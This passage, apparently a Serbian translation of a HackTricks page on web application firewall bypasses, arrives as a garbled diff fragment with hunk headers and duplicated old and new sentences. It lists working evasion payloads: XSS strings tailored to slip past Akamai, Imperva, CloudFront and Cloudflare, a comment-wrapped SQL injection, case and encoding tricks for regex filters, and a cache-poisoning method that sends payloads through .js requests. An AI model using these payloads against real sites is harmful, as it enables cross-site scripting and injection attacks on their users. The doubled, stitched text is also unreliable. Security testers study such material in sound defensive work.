Stariji Web Application Firewalls sa Core Rule Set 3.1 (ili nižim) dozvoljavaju poruke veće od **128 KB** isključivanjem inspekcije tela zahteva, ali te poruke neće biti proverene na ranjivosti. Za novije verzije (Core Rule Set 3.2 ili novije), isto se može uraditi isključivanjem maksimalnog ograničenja veličine tela zahteva. Kada zahtev premaši ograničenje veličine:
Ako je **mod prevencije**: Zapisuje i blokira zahtev.\
Ako je **mod detekcije**: Pregleda do ograničenja, ignoriše ostatak i zapisuje ako `Content-Length` premašuje ograničenje.
Ako je **mod detekcije**: Pregleda do ograničenja, ignoriše ostatak i beleži ako `Content-Length` premaši ograničenje.
- Iz [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
@ -123,7 +123,24 @@ Podrazumevano, WAF pregledava samo prvih 8KB zahteva. Može povećati ograničen
Do 128KB.
### Obfuscation <a href="#obfuscation" id="obfuscation"></a>
### Rupe u inspekciji statičkih resursa (.js GET-ovi)
Neki CDN/WAF stackovi primenjuju slabu ili nikakvu inspekciju sadržaja na GET zahteve za statičke resurse (na primer, putanje koje se završavaju sa `.js`), dok i dalje primenjuju globalna pravila poput ograničenja brzine i reputacije IP adresa. U kombinaciji sa automatskim keširanjem statičkih ekstenzija, ovo se može zloupotrebiti za isporuku ili sejanje zlonamernih varijanti koje utiču na naredne HTML odgovore.
Praktične upotrebe:
- Pošaljite terete u nepouzdanim zaglavljima (npr., `User-Agent`) na GET ka `.js` putanji kako biste izbegli inspekciju sadržaja, a zatim odmah zatražite glavni HTML da biste uticali na keširanu varijantu.
- Koristite svežu/čistu IP adresu; kada je IP označen, promene u rutiranju mogu učiniti tehniku nepouzdnom.
- U Burp Repeater-u, koristite "Send group in parallel" (stil jednog paketa) da biste trkali dva zahteva (`.js` zatim HTML) kroz istu front-end putanju.
Ovo se dobro uklapa sa trovanjem keša refleksijom zaglavlja. Pogledajte:
- {{#ref}}
cache-deception/README.md
{{#endref}}
- [Kako sam pronašao 0-Click preuzimanje naloga u javnom BBP-u i iskoristio to za pristup funkcionalnostima na Admin nivou](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
### Obfuskacija <a href="#ip-rotation" id="ip-rotation"></a>
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
@ -147,20 +164,20 @@ Kao što je pomenuto u [**ovom blog postu**](https://0x999.net/blog/exploring-ja
Na primer, u postu se pominje da je **Akamai URL dekodirao korisnički unos 10 puta**. Stoga će nešto poput `<input/%2525252525252525253e/onfocus` biti viđeno od strane Akamai-a kao `<input/>/onfocus` što **možda misli da je u redu jer je tag zatvoren**. Međutim, sve dok aplikacija ne URL dekodira unos 10 puta, žrtva će videti nešto poput `<input/%25252525252525253e/onfocus` što je **i dalje važeće za XSS napad**.
Stoga, ovo omogućava da se **sakriju payload-i u kodiranim komponentama** koje će WAF dekodirati i interpretirati dok žrtva neće.
Stoga, ovo omogućava da se **sakriju payload-ovi u kodiranim komponentama** koje će WAF dekodirati i interpretirati dok žrtva neće.
Štaviše, ovo se može uraditi ne samo sa URL kodiranim payload-ima, već i sa drugim kodiranjima kao što su unicode, hex, octal...
Štaviše, ovo se može uraditi ne samo sa URL kodiranim payload-ovima, već i sa drugim kodiranjima kao što su unicode, hex, octal...
U postu su predloženi sledeći konačni zaobilaženja:
U postu su predloženi sledeći konačni bypass-ovi:
- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
Takođe se pominje da, u zavisnosti od **toga kako neki WAF-ovi razumeju kontekst** korisničkog unosa, može biti moguće zloupotrebiti to. Predloženi primer u blogu je da Akamai dozvoljava (dozvoljavao) da se stavi bilo šta između `/*` i `*/` (potencijalno zato što se ovo često koristi kao komentari). Stoga, SQL injekcija kao što je `/*'or sleep(5)-- -*/` neće biti uhvaćena i biće važeća jer je `/*` početni string injekcije, a `*/` je komentarisano.
Takođe se pominje da, u zavisnosti od **toga kako neki WAF-ovi razumeju kontekst** korisničkog unosa, može biti moguće zloupotrebiti to. Predloženi primer u blogu je da je Akamai dozvolio da se stavi bilo šta između `/*` i `*/` (potencijalno zato što se ovo često koristi kao komentari). Stoga, SQL injekcija kao što je `/*'or sleep(5)-- -*/` neće biti uhvaćena i biće važeća jer je `/*` početni string injekcije, a `*/` je komentarisano.
Ove vrste problema sa kontekstom se takođe mogu koristiti za **zloupotrebu drugih ranjivosti osim one za koju se očekuje** da će biti iskorišćena od strane WAF-a (npr. ovo se takođe može koristiti za iskorišćavanje XSS-a).
Ove vrste kontekstualnih problema se takođe mogu koristiti za **zloupotrebu drugih ranjivosti osim one za koju se očekuje da će biti iskorišćena od strane WAF-a** (npr. ovo se takođe može koristiti za iskorišćavanje XSS-a).
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
@ -178,7 +195,7 @@ h2c-smuggling.md
### Regex Bypasses
Različite tehnike se mogu koristiti za zaobilaženje regex filtera na vatrozidima. Primeri uključuju naizmenično korišćenje velikih i malih slova, dodavanje preloma linija i kodiranje payload-a. Resursi za različita zaobilaženja mogu se naći na [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) i [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Primeri u nastavku su preuzeti iz [ovog članka](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
Različite tehnike se mogu koristiti za zaobilaženje regex filtera na vatrozidima. Primeri uključuju naizmenično korišćenje velikih i malih slova, dodavanje preloma linija i kodiranje payload-ova. Resursi za različite bypass-ove mogu se naći na [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) i [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Primeri u nastavku su preuzeti iz [ovog članka](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
@ -209,6 +226,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
- [Kako sam pronašao 0-Click preuzimanje naloga u javnom BBP-u i iskoristio ga za pristup funkcijama na Admin nivou](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
{{#include ../banners/hacktricks-training.md}}